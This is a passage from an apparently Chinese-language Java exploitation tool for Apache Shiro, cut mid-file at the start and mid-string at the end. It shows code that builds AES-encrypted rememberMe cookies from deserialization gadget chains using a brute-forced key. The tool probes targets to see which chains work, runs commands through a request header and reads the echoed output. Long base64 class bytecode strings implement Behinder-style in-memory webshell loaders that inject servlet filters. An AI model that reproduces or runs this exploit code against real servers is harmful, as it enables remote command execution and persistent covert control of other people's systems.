paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesGcmEncrypt(bytes,k); 39 | } 40 | 41 | // 执行的命令在 header 中 co0kie 42 | if (paramContext.get("Method").equals("GET")){ 43 | resp = this.httpUtils.getGetRequestResponse(url,echoCookie,cmd); 44 | } else { 45 | resp = this.httpUtils.getPostRequestResponse(url,echoCookie,cmd); 46 | } 47 | 48 | if (paramContext.get("OutputType").equals("1")){ 49 | this.myController.result.appendText("\nPayload输出模式:"); 50 | this.myController.result.appendText("\n" + echoCookie + "\n"); 51 | this.myController.result.appendText("co0kie:" + cmd + "\n"); 52 | } 53 | 54 | this.myController.result.appendText("[+] 命令: " +cmd); 55 | // 这里需要处理的,我们需要把结果放在 $$$ 之间 56 | if (resp.indexOf("$$$") != -1){ 57 | int start = resp.indexOf("$$$"); 58 | int end = resp.lastIndexOf("$$$"); 59 | String cmdResp = resp.substring(start+3,end); 60 | this.myController.result.appendText(cmdResp); 61 | }else { 62 | this.myController.result.appendText("[!] 未检测到回显标志符,请结合Payload输出模式进行手动排查\n"); 63 | } 64 | } else { 65 | this.myController.result.appendText("[!] 请先检测对应的利用链!\n"); 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/core/GadgetCheck.java: -------------------------------------------------------------------------------- 1 | package core; 2 | 3 | import common.HttpUtils; 4 | import common.PayloadEncrypt; 5 | import entity.ControllersFactory; 6 | import payloads.CommonsBeanutils1; 7 | import payloads.CommonsBeanutils1_183; 8 | import payloads.CommonsCollections11; 9 | import payloads.CommonsCollectionsK1; 10 | import payloads.check.TomcatGadgetCheck; 11 | import payloads.util.Reflections; 12 | import payloads.util.Serializer; 13 | import ui.MyController; 14 | 15 | import java.util.List; 16 | import java.util.Map; 17 | 18 | public class GadgetCheck { 19 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName()); 20 | final private Map paramContext = ControllersFactory.paramsContext; 21 | final private Map loaderByte = ControllersFactory.loaderByte; 22 | private HttpUtils httpUtils = new HttpUtils(); 23 | 24 | 25 | public boolean tomcatCheckGadget(String method,String gadget) throws Exception { 26 | // 对应链的探测的字节码 这里都是 tomcat 的利用链 27 | loaderByte.put("CommonsCollections11", Serializer.serialize(new CommonsCollections11().getObject(TomcatGadgetCheck.gadgetCheck()))); 28 | loaderByte.put("CommonsBeanutils1", Serializer.serialize(new CommonsBeanutils1().getObject(TomcatGadgetCheck.gadgetCheck()))); 29 | loaderByte.put("CommonsBeanutils1_183", Serializer.serialize(new CommonsBeanutils1_183().getObject(TomcatGadgetCheck.gadgetCheck()))); 30 | loaderByte.put("CommonsCollectionsK1", Serializer.serialize(new CommonsCollectionsK1().getObject(TomcatGadgetCheck.gadgetCheck()))); 31 | // 获取爆破成功的 shiro key 32 | String k = paramContext.get("ShiroKey"); 33 | if (k != null){ 34 | Map> header = null; 35 | List echo = null; 36 | String checkCookie = null; 37 | // 按钮选中的对应的利用链 38 | byte[] bytes = loaderByte.get(gadget); 39 | // 获取加密方式 40 | String encryptType = this.paramContext.get("Encrypt"); 41 | // payload 进行加密生成 42 | if (encryptType.equals("CBC")){ 43 | checkCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesCbcEncrypt(bytes,k); 44 | } else{ 45 | checkCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesGcmEncrypt(bytes,k); 46 | } 47 | 48 | String url = paramContext.get("URL"); 49 | if (paramContext.get("OutputType").equals("1")){ 50 | this.myController.result.appendText("\nPayload输出模式:"); 51 | this.myController.result.appendText("\nCookie: " + checkCookie + "\n\n"); 52 | } 53 | 54 | if (method.equals("GET")){ 55 | header = this.httpUtils.sendGetRequest(url,checkCookie); 56 | } else { 57 | header = this.httpUtils.sendPostRequest(url,checkCookie,null); 58 | } 59 | 60 | if (header != null){ 61 | echo = header.get("echo"); 62 | if (echo == null){ 63 | echo = header.get("Echo"); 64 | } 65 | if (echo != null && echo.toString().contains("success")){ 66 | this.myController.result.appendText("[+] " +gadget+ "可利用!\n"); 67 | return true; 68 | }else { 69 | this.myController.result.appendText("[!] " +gadget+ "不可用!\n"); 70 | return false; 71 | } 72 | } 73 | } 74 | this.myController.result.appendText("[!] 请先输入key或爆破key\n"); 75 | return false; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/main/java/core/MemInject.java: -------------------------------------------------------------------------------- 1 | package core; 2 | 3 | import common.CommonUtils; 4 | import common.HttpUtils; 5 | import common.PayloadEncrypt; 6 | import entity.ControllersFactory; 7 | import payloads.echo.TomcatEcho; 8 | import payloads.util.Serializer; 9 | import sun.misc.BASE64Decoder; 10 | import ui.MyController; 11 | 12 | import javax.servlet.jsp.PageContext; 13 | import java.io.InputStream; 14 | import java.lang.reflect.Field; 15 | import java.lang.reflect.Method; 16 | import java.net.URLDecoder; 17 | import java.util.List; 18 | import java.util.Map; 19 | 20 | public class MemInject { 21 | 22 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName()); 23 | final private Map paramContext = ControllersFactory.paramsContext; 24 | final private Map loaderByte = ControllersFactory.loaderByte; 25 | final private Map successGadget = ControllersFactory.successGadget; 26 | private static Map memShellLoader = ControllersFactory.memShellLoader; 27 | private HttpUtils httpUtils = new HttpUtils(); 28 | public PageContext pageContext; 29 | 30 | static { 31 | memShellLoader.put("BehinderLoader", "yv66vgAAADQAzwoAPQBaCgADAFsHAFwKACsAXQcAXgoAKwBfCgBgAGEKAGAAYgoABQBjCgBkAGUKAGQAZggAZwoAMABoBwBpCgBkAGoIAGsKAGwAbQgAbggAbwcAcAgAcQgAcggAcwoABQB0CAB1BwB2CwAaAHcLABoAeAcAeQgAegcAewoAHwB8BwB9CgAhAH4KACEAfwgAgAoAIQCBBwCCCgAmAFoKACYAgwcAhAgAhQcAhgcAhwkAMgCICgArAIkKAIoAYQcAiwoAKwCMBwCNCgAyAI4KAIoAjwgAkAoAKwCRBwCSBwCTCgCUAJUKAAMAlgcAlwoAOwB0BwCYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACGdldEZpZWxkAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAA1TdGFja01hcFRhYmxlBwCZBwCGBwBeAQAKRXhjZXB0aW9ucwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAmgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAg8Y2xpbml0PgcAmwcAnAcAXAcAdgcAeQcAewcAfQcAnQcAngcAlwEAClNvdXJjZUZpbGUBABNCZWhpbmRlckxvYWRlci5qYXZhDAA+AD8MAJ8AoAEAEGphdmEvbGFuZy9PYmplY3QMAKEAogEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgwAowCgBwCZDACkAKUMAKYApwwAPgCoBwCbDACpAKoMAKsArAEAB3RocmVhZHMMAEIAQwEAE1tMamF2YS9sYW5nL1RocmVhZDsMAK0ArgEABGV4ZWMHAJwMAK8AsAEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAAdoYW5kbGVyAQAGZ2xvYmFsDACxAD8BAApwcm9jZXNzb3JzAQAOamF2YS91dGlsL0xpc3QMALIAswwApgC0AQAdb3JnL2FwYWNoZS9jb3lvdGUvUmVxdWVzdEluZm8BAANyZXEBABlvcmcvYXBhY2hlL2NveW90ZS9SZXF1ZXN0DAC1ALQBACVvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0DAC2ALcMALgAuQEACmNsYXNzRGF0YTEMALoAuwEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMALwAvQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQACW0IMAL4AvwwAwADBBwDCAQAOQmVoaW5kZXJMb2FkZXIMAMMAxAEAEWphdmEvbGFuZy9JbnRlZ2VyDAA+AMUMAMYAxwEACmNsYXNzRGF0YTIMAMgAyQEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQcAygwAywDMDADNAM4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1RocmVhZAEAEGphdmEvbGFuZy9TdHJpbmcBACZvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZQEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAPcHJpbnRTdGFja1RyYWNlAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5vdGUBAAtnZXRSZXNwb25zZQEAKigpTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlOwEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAEKEkpVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgAhADAAPQAAAAAABQABAD4APwABAEAAAAAdAAEAAQAAAAUqtwABsQAAAAEAQQAAAAYAAQAAAAkACQBCAEMAAgBAAAAAmwADAAUAAAA4AU0qtgACTi0SA6UAFi0rtgAETacADToELbYABk6n/+osxgAOLAS2AAcsKrYACLC7AAVZK7cACb8AAQANABMAFgAFAAIAQQAAADIADAAAAEgAAgBJAAcASwANAE0AEwBOABYATwAYAFAAHQBRACAAVQAkAFYAKQBXAC8AWQBEAAAAEQAE/QAHBwBFBwBGTgcARwkOAEgAAAAEAAEAOwABAEkASgACAEAAAAAZAAAAAwAAAAGxAAAAAQBBAAAABgABAAAAYABIAAAABAABAEsAAQBJAEwAAgBAAAAAGQAAAAQAAAABsQAAAAEAQQAAAAYAAQAAAGUASAAAAAQAAQBLAAgATQA/AAEAQAAAA5UACQAVAAACMwM7uAAKtgALEgy4AA3AAA7AAA5MAz0cK76iAhErHDJOLcYB/C22AA86BBkEEhC2ABGaAewZBBIStgARmQHiLRITuAANOgUBOgYZBcEAFJkAIBkFEhW4AA0SFrgADRIXuAANOganAAo6BxkHtgAYGQbGAa0ZBhIZuAANwAAaOgcDPRwZB7kAGwEAogGUGQccuQAcAgDAAB06CBkIEh64AA3AAB86CRkJBLYAIMAAIToKGQq2ACI6CxkKtgAjOgwZChIktgAlOg27ACZZtwAnGQ22ACg6DhIpEioGvQArWQMSLFNZBLIALVNZBbIALVO2AC46DxkPBLYALxkPEjC2ADEGvQADWQMZDlNZBLsAMlkDtwAzU1kFuwAyWRkOvrcAM1O2ADTAACs6EBkKEjW2ACU6EbsAJlm3ACcZEbYAKDoSEikSKga9ACtZAxIsU1kEsgAtU1kFsgAtU7YALjoTGRMEtgAvGRMSMLYAMQa9AANZAxkSU1kEuwAyWQO3ADNTWQW7ADJZGRK+twAzU7YANMAAKzoUGRQEvQArWQMZEFO2ADYEvQADWQMZEAW9ACtZAxI3U1kEEjhTtgA2Bb0AA1kDGQpTWQQZC1O2ADlTtgA5B70AA1kDGQpTWQQZC1NZBRkMU1kGGRAFvQArWQMSN1NZBBI4U7YANgW9AANZAxkKU1kEGQtTtgA5U7YAOlenAAo6DRkNtgA8BDunAAMamQAGpwAJhAIBp/3vpwAISyq2ADyxAAMAUQBkAGcABQC+Ag4CEQA7AAACKgItADsAAgBBAAAAvgAvAAAADQACAA4AFAAPABwAEAAgABEAJAASACoAEwA+ABQARgAVAEkAFgBRABgAZAAbAGcAGQBpABoAbgAdAHMAHgB/AB8AjAAgAJkAIQClACIAsAAjALcAJAC+ACYAxwAnANUAKADzACkA+QAqASkAKwEyACwBQAAtAV4ALgFkAC8BlAAxAbgAMgH1ADMCDgA2AhEANAITADUCGAA3AhoAOAIdAD0CIQA+AiQADwIqAEMCLQBBAi4AQgIyAEQARAAAAHQAC/4AFgEHAA4B/wBQAAcBBwAOAQcATgcATwcAUAcAUAABBwBHBvwAEgcAUf8BjwANAQcADgEHAE4HAE8HAFAHAFAHAFEHAFIHAFMHAFQHAFUHAFYAAQcAVwb/AAQABAEHAA4BBwBOAAD6AAb4AAVCBwBXBAABAFgAAAACAFk="); 32 | memShellLoader.put("PageContext","yv66vgAAADQAMwoACAApCQAHACoJAAcAKwcALAsABAAtCgAIAC4HAC8HADABAAdyZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAGZ2V0T3V0AQASKClMamF2YS9pby9Xcml0ZXI7AQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQ7AQAGPGluaXQ%2BAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEAEE1ldGhvZFBhcmFtZXRlcnMBAAMoKVYBAApzZXRSZXF1ZXN0AQAhKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OylWAQALc2V0UmVzcG9uc2UBACIoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAR0ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAFiAQACW0IBAApTb3VyY2VGaWxlAQAQUGFnZUNvbnRleHQuamF2YQwAFAAXDAAJAAoMAAsADAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMABwAHQwAMQAyAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEABwAIAAAAAgAAAAkACgAAAAAACwAMAAAACQABAA0ADgABAA8AAAAsAAEAAQAAAAIBsAAAAAIAEAAAAAYAAQAAABEAEQAAAAwAAQAAAAIAEgATAAAAAQAUABUAAgAPAAAAWQACAAMAAAAPKrcAASortQACKiy1AAOxAAAAAgAQAAAAEgAEAAAAFAAEABUACQAWAA4AFwARAAAAIAADAAAADwASABMAAAAAAA8ACQAKAAEAAAAPAAsADAACABYAAAAJAgAJAAAACwAAAAEAFAAXAAEADwAAADMAAQABAAAABSq3AAGxAAAAAgAQAAAACgACAAAAGQAEABsAEQAAAAwAAQAAAAUAEgATAAAAAQAYABkAAgAPAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAQAAAACgACAAAAHgAFAB8AEQAAABYAAgAAAAYAEgATAAAAAAAGAAkACgABABYAAAAFAQAJAAAAAQAaABsAAgAPAAAAPgACAAIAAAAGKiu1AAOxAAAAAgAQAAAACgACAAAAIgAFACMAEQAAABYAAgAAAAYAEgATAAAAAAAGAAsADAABABYAAAAFAQALAAAAAQAcAB0AAQAPAAAARwABAAIAAAAPKrQAAsAABEwruQAFAQCwAAAAAgAQAAAACgACAAAAJgAIACcAEQAAABYAAgAAAA8AEgATAAAACAAHAB4AHwABAAEAIAAhAAEADwAAAC8AAQABAAAABSq0AAKwAAAAAgAQAAAABgABAAAALAARAAAADAABAAAABQASABMAAAABACIAIwABAA8AAAAvAAEAAQAAAAUqtAADsAAAAAIAEAAAAAYAAQAAADEAEQAAAAwAAQAAAAUAEgATAAAAAQAeACQAAgAPAAAAPQAEAAIAAAAJKisDK763AAawAAAAAgAQAAAABgABAAAANQARAAAAFgACAAAACQASABMAAAAAAAkAJQAmAAEAFgAAAAUBACUAAAABACcAAAACACg%3D"); 33 | memShellLoader.put("MemBehinder3", "yv66vgAAADQBZAoAMQCSCQA9AJMJAD0AlAcAlQcAlgsABACXCABmCwAEAJgLAAQAmQgAmgoAXgCbCACcCACdCwAFAJ4KAD0AnwgAoAsAOwChCgA8AKIKADwAowgApAoApQCmBwCnBwCoCgAXAJILADsAqQoAFwCqCACrCgAXAKwKABcArQoAXgCuCgAWAK8KAKUAsAsABACxCgCyALMIALQKACYAtQgAtgcAtwcAuAkAMgC5CgAmALoKALsAvAcAvQoAKwCSCgArAL4KAKUAvwoAMQDACgAmAMEHAMIHAMMKADIAxAoAuwDFCgAmAMYKADEAmwcAxwsAyADJBwDKBwDLBwDMBwDNBwDOCgA9AM8IANAIANEKAD0A0gcA0woAQgDUCADVCgDWANcKAF4A2AoA1gDZBwDaCgDWANsKAEgA3AoASADdCgBeAN4KAF4A3woAXgDgCwAEAOELAOIA4wgA5AoAJgDlCgDmALwKAOYA5wcA6AcA6QcA6ggA6wkA7ADtCgDmAO4LAOIA7wkA8ADxCgDyAPMHAPQLAPUA9ggA9woAJgD4CQDsAPkHAPoBAAtwYWdlQ29udGV4dAEAH0xqYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dDsBAARwYXNzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ%2BAQAiKExqYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dDspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEACkV4Y2VwdGlvbnMHAPsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA1TdGFja01hcFRhYmxlBwCVBwCWBwDMBwDOBwD8BwD9BwD%2BBwD0BwDHBwD%2FAQAHZGVzdHJveQEAAygpVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgcAwgcAywcAzQcA0wEAA21kNQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQZHluYW1pY0FkZEZpbHRlcgEAZChMamF2YXgvc2VydmxldC9GaWx0ZXI7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7KVYHAPoHAQAHAQEHAOgHAOkHAQQHAQUBAApTb3VyY2VGaWxlAQARTWVtQmVoaW5kZXIzLmphdmEMAGgAfgwAZgBnDABkAGUBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAQYBBwwBCACGDAEJAIYBAAdzdWNjZXNzDAB%2FAIABAAZJbmplY3QBAAdTdWNjZXNzDAEKAQsMAIUAhgEAAXUMAQwBDQwBDgEPDAEQAREBAANBRVMHARIMARMBFAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBFQEWDAEXARgBAAAMARcBGQwBGgEbDAEcAR0MAGgBHgwAbAEfDAEgASEHASIMASMBGwEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgwBJAElAQALZGVmaW5lQ2xhc3MBAA9qYXZhL2xhbmcvQ2xhc3MBAAJbQgwBJgEnDAEoASkHASoMASsBLAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAS0BLgwBLwEwDAExATIMATMBNAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvSW50ZWdlcgwAaAE1DAE2ATcMATgBOQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAP4MAHABOgEAE1tMamF2YS9sYW5nL09iamVjdDsBACZvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZQEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0AQAMTWVtQmVoaW5kZXIzDABoAGkBAAhCZWhpbmRlcgEAAi8qDACHAIgBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgwBOwB%2BAQADTUQ1BwE8DAETAT0MAT4BPwwBQAFBAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAUIBHQwAaAFDDAEaAUQMAUUBGwwBRgFHDAFIARsMAUkBSgcBAAwBSwFMAQAHY29udGV4dAwBTQFOBwEBDAFPAVABACtvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25Db250ZXh0AQAob3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dAEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvdXRpbC9MaWZlY3ljbGVCYXNlAQAFc3RhdGUHAVEMAVIBUwwBVAFVDAFWAVcHAVgMAVkBWgcBWwwBXAFdAQAQamF2YS9sYW5nL1N0cmluZwcBBAwBXwFgAQALZmlsdGVyU3RhcnQMAWEBKQwBYgFTAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAB0R5bmFtaWMBAAxJbm5lckNsYXNzZXMBAChqYXZheC9zZXJ2bGV0L0ZpbHRlclJlZ2lzdHJhdGlvbiREeW5hbWljAQATamF2YS9sYW5nL1Rocm93YWJsZQEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAJZ2V0SGVhZGVyAQAMZ2V0UGFyYW1ldGVyAQAJc2V0SGVhZGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIcHV0VmFsdWUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBAApzZXRSZXF1ZXN0AQAhKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OylWAQALc2V0UmVzcG9uc2UBACIoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAhnZXRWYWx1ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZG9GaW5hbAEABihbQilbQgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABChJKVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEAD3ByaW50U3RhY2tUcmFjZQEAG2phdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdAEAMShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAZsZW5ndGgBAAMoKUkBAAZ1cGRhdGUBAAcoW0JJSSlWAQAGZGlnZXN0AQAGKElbQilWAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBABFnZXRTZXJ2bGV0Q29udGV4dAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7AQAVZ2V0RmlsdGVyUmVnaXN0cmF0aW9uAQA2KExqYX